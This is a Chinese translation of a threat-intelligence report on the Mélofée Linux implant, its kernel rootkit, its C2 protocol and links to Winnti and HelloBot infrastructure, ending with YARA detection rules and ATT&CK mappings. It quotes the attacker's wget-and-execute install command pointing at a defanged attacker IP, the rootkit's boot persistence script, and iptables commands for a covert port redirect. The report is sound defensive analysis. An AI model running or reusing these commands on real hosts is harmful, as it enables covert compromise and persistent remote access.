Mélofée:Panda 工具集中针对 Linux 主机的新型外星恶意软件
2023-3-31 14:57:57 Author: Ots安全(查看原文) 阅读量:30 收藏

在这篇博文中,我们将首先分析该恶意软件家族提供的功能,其中包括内核模式 Rootkit,然后深入基础设施枢纽迷宫以发现相关的对手工具集。

Melofée 种植体分析

我们发现了这个恶意软件家族的三个样本,我们将其命名为Mélofée

其中两个样本包含版本号 ( 2022011120220308),我们评估最后一个样本的日期可能是 2022 年 4 月下旬或 2022 年 5 月。

所有这些样本都共享一个通用代码库,但在以下领域不断发展:

  • 通信协议和数据包格式的演变

  • 更改配置的加密,首先使用RC4然后使用简单的xor

  • SelfForwardServer一个功能的开发

  • 最后,在最后一个示例中包含一个内核模式 rootkit。

Rootkit

我们发现的第一个样本删除了一个基于开源项目Reptile 1修改版本的 Rootkit 。

根据vermagic元数据,它被编译为一个内核版本5.10.112-108.499.amzn2.x86_64。Rootkit 的功能有限,主要是安装一个用于隐藏自身的挂钩。

rootkit 挂钩函数fillonedirfilldir以便在列出目录时filldir64不显示名称包含intel_audio或的文件。rc.modules

它还挂钩inet_ioctl函数,以便能够使用ioctl系统调用与其用户空间部分进行通信。内核 rootkit 期望 userland 组件在 IOCTL 调用期间发送一个值0xe0e0e0e,支持 2 个命令(这两个命令是hideshow)。

rootkit 由安装程序服务器组件通过调用该insmod实用程序加载。

安装程序

植入程序和 rootkit 是使用 shell 命令安装的,从对手控制的服务器下载安装程序和自定义二进制包。此行为类似于Winnti Linux rootkit 的安装过程。

wget http://173.209.62[.]186:8765/installer -O /var/tmp/installerwget http://173.209.62[.]186:8765/a.dat -O /var/tmp/usbd;chmod +x /var/tmp/installer;/var/tmp/installer -i /var/tmp/usbd

安装程序也是在 中开发的C++,以二进制包为参数。然后它继续提取并安装 rootkit 和服务器组件。Rootkit 和植入路径分别被硬编码到/etc/intel_audio/intel_audio.ko安装/etc/intel_audio/audio 程序使用对 的调用插入内核 Rootkit system("insmod /etc/intel_audio/intel_audio.ko"),并在/etc/rc.modules文件中安装持久性。

写入此脚本可确保内核和植入程序都在启动时执行2

安装后生成的脚本如下所示:

#!/bin/sh#Script for starting modules/sbin/insmod /etc/intel_audio/intel_audio.ko/etc/intel_audio/audio#End script

包的第一个字节包括有效载荷的偏移量(小端),用于正确提取内核 rootkit 和服务器植入程序。

00000000: b07e 0000 a841 3000 7f45 4c46 0201 0100  .~...A0..ELF....00000010: 0000 0000 0000 0000 0100 3e00 0100 0000  ..........>.....00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................

开发人员也很友好地包含了一个usage描述安装程序选项的函数:

void usage(undefined8 param_1){  printf("Usage: <%s> [options]\n",param_1);  puts("    -r                  Remove");  puts("    -i <data file>      Install");  puts("    -d                  Run in background");  puts("    -h                  Show help");  return;}

配置管理

配置在两个早期样本中使用RC4算法加密,在未注明日期的样本中使用简单的xor单字节密钥 ( )。0x43

配置格式在样本之间发生了变化,第一个样本包含所有加密形式的元素,最后一个样本仅加密 C&C 域。

解密配置示例:

1:www.data-yuzefuji[.]com:443:5

此配置包含以下元素:

  • 套接字类型(0x1正在TCP

  • C&C域

  • 通讯端口

  • 请求之间的睡眠时间(以分钟为单位)

持久性机制

植入物具有两种持久性机制,具体取决于其运行权限。如果它以root用户身份运行,它会尝试sh -c IMPLANT_EXECUTABLE_NAME >/dev/null 2>&在文件/etc/rc.local/etc/rc.d/rc.local.

如果它以简单用户身份运行,它将尝试在以下文件中安装其持久性:

  • /home/CURRENT_USERNAME/.bash_profile

  • /home/CURRENT_USERNAME/.bash_login

  • /home/CURRENT_USERNAME/.profile

Rootkit 安装程序将在文件中插入内核模块的持久性/etc/rc.modules

支持的命令

植入物支持的命令在样本之间发生了变化,显示了后门的当前发展。

前两个版本:

最新版本:

通信协议

通信协议在三个分析样本中得到了发展,但是实现了三种套接字类型:

  • TCPSocket(类型0x0)使用原始 TCP,具有如下所述的自定义数据包格式;

  • TLSSocket(type 0x1),使用TLS加密通道与C&C服务器进行交互;

  • UDPSocket(type 0x2),使用KCP协议3发送数据。应该注意的是,该KCP协议是一个公共通信库,并且还用于多个恶意软件家族,例如Amoeba 4CrossWalk 5

  • 一些剩余代码似乎表明可能存在第三种0x3基于 HTTP 的通信类型,但它并未在分析的示例中实现。

虽然数据在两个样本中没有以任何形式加密,但在最后一个样本中,它使用RC4带有硬编码密钥的算法加密(\x01\x02\x03\x04重复 4 次)。

Mélofée使用的数据包格式如下:

struct Packet202201_3 {    unsigned int dwCommand;    unsigned int dwCommandResult;    unsigned int dwUnknown;    unsigned int dwDataSize;    char [] clear_text_data;}
struct Packet202205 { unsigned int dwUnknown; unsigned int dwRandom1; unsigned int dwRandom2; unsigned int dwCommandResult; unsigned int dwCommandID; unsigned int dwCommandSize; char [] encrypted_data;}

SelfForwardServer和监听服务器

在最新的示例中,实现了一个名为SelfForwardServer.

根据配置标志,植入程序可以安装iptables规则以从端口重定向 TCP 网络流量57590

安装这些规则的步骤如下:

  • 首先使用以下命令创建名为的新NAT链:XFILTER iptables -t nat -N %s

  • 为此NAT链中的端口添加重定向规则:iptables -t nat -A %s -p tcp -j REDIRECT --to-port %d

  • 使用名称保存来自端口 45535 的最近连接ipxlesiptables -t nat -A PREROUTING -p tcp --sport 45535 -m recent --set --name %s --rsource -j ACCEPT

  • ipxles将最近的连接重定向到NAT链:iptables -t nat -A PREROUTING -p tcp --dport %d --syn -m recent --rcheck --seconds 300 --name %s --rsource -j %s

  • 57590最后,使用命令指示主机接受端口上的网络流量iptables -I INPUT -p tcp --dport %d -j ACCEPT

应该注意的是,虽然SelfForwardServer在配置中被停用,但样本嵌入了生成的自签名证书2021-06-03和相应的私钥,用于在Server模式中保护通信。

一些底层代码也出现在两个较早的示例中(如剩余RTTI信息所记录的那样),并且可以使用三种类型的服务器:

  • TCPServer(类型0x00

  • TLServer(类型0x1

  • UDPServer(类型0x2

这段代码的一个有趣的花絮隐藏在函数中receiveTLSServer位于0x429b7a未注明日期的示例中的地址)。当此函数使用库调用接收到的前 4 个字节recv为 时03 01 d3 76,会设置影响后续套接字创建的标志。然而,我们无法准确地确定这种魔法的目的。

由于存在未使用的代码以及样本之间的演变,我们评估 和Server目前SelfForwardServer正在由攻击者开发。

攻击者工具集中的另一个口袋妖怪

我们分析了攻击者使用 pivot 在公共和私有数据集上使用的基础设施。我们评估该恶意软件系列可能与Amoeba ant Winnti 4 6 7 8国家赞助的威胁组织有关。

Mélofée植入物的基础设施与以下工具相关联:

  • 一些服务器被我们的网络威胁情报跟踪为ShadowPad C&C 服务器;

  • 其他服务器链接到WinntiHelloBot工具;

  • 我们还看到相关域用作PlugXSpark 9Cobalt StrikeStowAway 10和合法的toDesk远程控制工具等工具的 C&C 服务器;

  • 最后,攻击者可能还使用了ezXSS 11工具,但我们无法确认原因。

你好机器人

HelloBot是一个也针对 Linux 主机的恶意软件家族,并且已知被Earth Berberoka 6等 APT 组织使用。在以Mélofée基础设施为中心时,我们发现了一个带有HelloBot样本的通用 IP,这提供了另一个挖掘点。

我们发现了该恶意软件的几个样本,并开发了一个自定义配置提取脚本(在本博文的附件中提供)。

使用提取的配置,我们还能够找到HelloBotWinnti之间强大的基础设施链接,例如,两者都使用了C&C 服务器的git1ab[.]com子域cloudf1are[.]com

与Winnti的可能联系

C&C 服务器在 443 端口上的 IP 地址发出的响应173.209.62.186可以唯一链接到另一个域dev.yuanta.dev。已知此服务器用于暂存包含 Linux 版本的Winnti rootkit 7安装程序的存档。

我们还下载了这个恶意软件家族的几个样本,提取了配置(使用Chronicle提供的脚本),并找到了HelloBotWinnti之间的几个共同域,例如cloudf1are[.]comgit1ab[.com.

分析图

使用之前的数据点,我们生成了一个基础结构图来绘制样本之间的关系。

外星人

在我们的分析过程中,我们发现了另一个名为AlienReverse的 Linux 植入程序。

此代码的架构方式与Mélofée类似,但有几个重要区别:

  • 通信协议的数据使用pel_decrypt项目pel_encrypt1Reptile进行加密

  • 命令 ID 不同,如下所示

  • 该工具包括其他几个公共工具,例如EarthWorm 12socks_proxy 13

然而, MéloféeAlienReverse之间有一些共同点

  • 两种植入物都是在C++

  • 两个植入程序都使用一个具有固定 ID 的文件来确保只有一个植入程序在运行(此代码在 public 14/var/tmp/%s.lock中找到,但似乎很少在野外使用)

  • 该植入物实现了类似的限制工作时间的机制(定义为worktime

该植入物支持的命令如下:

通信协议使用的数据包格式与Mélofée使用的非常相似:

struct AlienComzPacket {    unsigned int dwTickCount;    unsigned int dwMagic1; // 0xa003001    unsigned int dwMagic2; // 0x10000137, also used to indicate if the packet has data    unsigned int dwCommandID;    unsigned int dwTotalSize;    unsigned int dwEncryptedSize;    unsigned int ;    char []      data; // The data encrypted using pel_encrypt}

虽然我们最初认为这个样本与Mélofée家族有关,但我们得出的结论是它是一个独特的工具。但是,我们决定将其包含在本报告中,因为它被用作本次调查的起点,我们认为与公众分享它很重要。

我们也无法将它与已知的敌对组织联系起来,但我们评估它可能用于有针对性的攻击。

Yara规则:

rule UNK_APT_MelofeeImplant {    meta:        author = "Exatrack"        date =   "2023-03-03"        update =   "2023-03-03"        description = "Detects the Melofee implant"        tlp =  "CLEAR"        sample_hash = "a5a4284f87fd475b9474626040d289ffabba1066fae6c37bd7de9dabaf65e87a,f3e35850ce20dfc731a6544b2194de3f35101ca51de4764b8629a692972bef68,8d855c28744dd6a9c0668ad9659baf06e5e448353f54d2f99beddd21b41390b7"
strings: $str_melofee_implant_01 = "10PipeSocket" $str_melofee_implant_02 = "ikcp_ack_push" $str_melofee_implant_03 = "TLSSocketEE" $str_melofee_implant_04 = "/tmp/%s.lock" $str_melofee_implant_05 = "neosmart::WaitForMultipleEvents" $str_melofee_implant_06 = "9TLSSocket" $str_melofee_implant_07 = "7VServer" $str_melofee_implant_08 = "N5boost6detail13sp_ms_deleterI13UdpSocketWrapEE" $str_melofee_implant_09 = "UdpServerWrap" $str_melofee_implant_10 = "KcpUpdater" $str_melofee_implant_11 = "SelfForwardServer"
$str_command_parsing_01 = {3? 01 00 05 00 ?? ?? ?? ?? 00 00 3? 01 00 05 00 ?? ?? 3? 05 00 04 00} $str_command_parsing_02 = {3? 04 00 04 00 ?? ?? ?? ?? 00 00 3? 04 00 04 00 ?? ?? 3? 05 00 01 00} $str_command_parsing_03 = {3? 01 00 07 00 ?? ?? ?? ?? 00 00 3? 01 00 09 00 ?? ?? ?? ?? ?? 00 3? 01 00 06 00 }
condition: 3 of them}

rule UNK_APT_Melofee_Installer { meta: author = "Exatrack" date = "2023-03-15" update = "2023-03-15" description = "Detects the installer for melofee malware" score = 80 tlp = "AMBER" source = "Exatrack" sample_hash = "758b0934b7adddb794951d15a6ddcace1fa523e814aa40b55e2d071cf2df81f0"
strings: $str_melofee_installer_01 = "#Script for starting modules" $str_melofee_installer_02 = "#End script" $str_melofee_installer_03 = "/etc/intel_audio/" $str_melofee_installer_04 = "rm -fr /etc/rc.modules" $str_melofee_installer_05 = "-i <data file> Install" $str_melofee_installer_06 = "cteate home folder failed" $str_melofee_installer_07 = "create rootkit file failed" $str_melofee_installer_08 = "create auto start file failed" $str_melofee_installer_09 = "Remove Done!" // only 3 files on VT with this :D $str_melofee_installer_10 = "Unkown option %c\n"
condition: any of them}

rule UNK_APT_Alien_Implant { meta: author = "Exatrack" date = "2023-03-03" update = "2023-03-03" description = "Detects an unknown implant from AlienManager family, maybe related to melofee" tlp = "CLEAR" sample_hash = "3535f45bbfafda863665c41d97d894c39277dfd9af1079581d28015f76669b88,"
strings: $str_alien_01 = "[+] Connect %s Successed,Start Transfer..." $str_alien_02 = "Alloc buffer to decrypt data error, length == %d." $str_alien_03 = "pel_decrypt_msg data error, error" $str_alien_04 = "encrypt data error, length == %d." $str_alien_05 = "DoRecvOverlapInternal error!" $str_alien_06 = "Socks Listen port is %d,Username is %s, password is %s" $str_alien_07 = "Start port mapping error! remoteAddr=%s remotePort=%d localAddr=%s localPort=%d" $str_alien_08 = "OnCmdSocksStart error!" $str_alien_09 = "The master isn't readable!" $str_alien_10 = "ConnectBypassSocks proxy:%s:%d error!" $str_alien_11 = "ConnectBypassSocks to %s %d" $str_alien_12 = "now datetime: %d-%d-%d %d:%d:%d" $str_alien_13 = "Not during working hours! Disconnect!" $str_alien_14 = "Example: ./AlienReverse --reverse-address=192.168.1.101:80 --reverse-password=123456" $str_alien_15 = "Not during working hours! Disconnect!" $str_alien_16 = "SocksManager.cpp" $str_alien_17 = "connect() in app_connect" $str_alien_18 = "They send us %hhX %hhX" $str_alien_19 = "your input directory is not exist!" $str_alien_20 = "Send data to local error ==> %d.\n"
condition: any of them}

ATT&CK 使用的技术

  • T1583.001 - 攻击者获取了用于部署和命令与控制的服务器

  • T5183.004 - 攻击者获取域

  • T1071.001 - 攻击者使用应用层协议作为 C2

  • T1587.001 - 对手开发自定义恶意软件来实现其攻击

  • T1037.004 - 对手使用 RC 脚本作为持久性

  • T1059.004 - 攻击者使用 Unix shell 命令和脚本

  • T1132.002 - 使用 KCP 的非标准编码

  • T1573.001 - 攻击者使用 RC4 加密其 C2 流量

  • T1083 - 文件和目录发现

  • T1592.002 - 攻击者发现已安装的 Linux 发行版

  • T1564.001 - 对手使用 rootkit 隐藏文件

  • T1562.003 - 攻击者在执行命令时禁用 shell 历史记录

  • T1070.004 - 攻击者可以从系统中删除植入程序、rootkit 及其配置

  • T1599.001 - 攻击者可以修改受感染主机的防火墙规则

  • T1095 - 对手可以使用 UDP 作为通信层

  • T1571 - 对手可以使用替代端口进行通信

  • T1027.002 - HelloBot 植入物使用 UPX 包装并附加了配置

  • T1027.007 - 对手有效载荷被剥离

  • T1588.001 - 对手可能购买或下载恶意软件

  • T1588.002 - 对手可能会购买或下载 Cobalt Strike 等工具

  • T1057 - 对手可能会列出在受感染主机上执行的进程

  • T1572 - 对手可能会隧道网络通信

  • T1090 - 对手可能使用连接代理来访问内部资源

  • T1014 - 对手使用 rootkit

  • T1608.001 - 对手将其恶意软件上传到其基础设施以进行部署

  • T1608.002 - 对手将其工具上传到其基础设施

  • T1082 - 对手获得有关受感染主机的详细信息,例如操作系统版本

  • T1497.003 - 对手使用基于时间的方法来避免检测

参考阅读:

  1. https://github.com/f0rb1dd3n/Reptile

  2. https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/s1-kernel-modules-persistant

  3. https://github.com/skywind3000/kcp

  4. https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf

  5. https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/

  6. https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf

  7. https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a

  8. https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan

  9. https://github.com/XZB-1248/Spark

  10. https://github.com/ph4ntonn/Stowaway

  11. https://github.com/ssl/ezXSS

  12. http://rootkiter.com/EarthWorm/

  13. https://github.com/fgssfgss/socks_proxy

  14. https://blog.csdn.net/weixin_29100927/article/details/116577862


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247497144&idx=2&sn=ab6df74f0e50fc4dc79e798ba2d20e41&chksm=9badbcf3acda35e5ba4a25f86389e9705ee736a772bff4a0bda4859e354255c789bf08d090e8#rd
如有侵权请联系:admin#unsafe.sh